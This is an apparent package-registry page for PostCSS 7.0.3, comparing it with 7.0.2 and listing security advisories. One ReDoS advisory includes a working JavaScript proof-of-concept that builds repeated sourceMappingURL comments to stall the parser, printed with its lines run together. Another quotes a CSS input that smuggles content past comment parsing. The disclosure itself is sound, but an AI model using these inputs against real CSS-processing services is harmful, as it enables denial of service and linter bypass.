PostCSS is a powerful tool enabling developers to transform CSS with JavaScript plugins. Version 7.0.3 represents a minor update from the previous stable release, 7.0.2. Both versions share the same core functionality, offering a robust platform for CSS manipulation and extension. Key dependencies like chalk for terminal styling and source-map for debugging remain consistent, ensuring a familiar development experience.
However, a notable difference lies in the supports-color dependency. Version 7.0.3 upgrades this dependency from version 5.4.0 to 5.5.0. This seemingly small change likely introduces enhanced or more accurate color support detection in various terminal environments. This may be important for developers using PostCSS to generate colorized output or optimize CSS based on terminal capabilities.
Beyond this dependency update, the file count and unpacked size in the dist object also show slight variations. Version 7.0.3 has 36 files and an unpacked size of 593601 bytes, while version 7.0.2 has 37 files and an unpacked size of 606775 bytes. This suggests minor adjustments in the packaging or build process, potentially related to optimizations or bug fixes. It's recommended to consult the changelog for detailed insights into the specific changes included in version 7.0.3. Both releases retain the MIT license, signifying their commitment to open source and free usage.
All the vulnerabilities related to the version 7.0.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.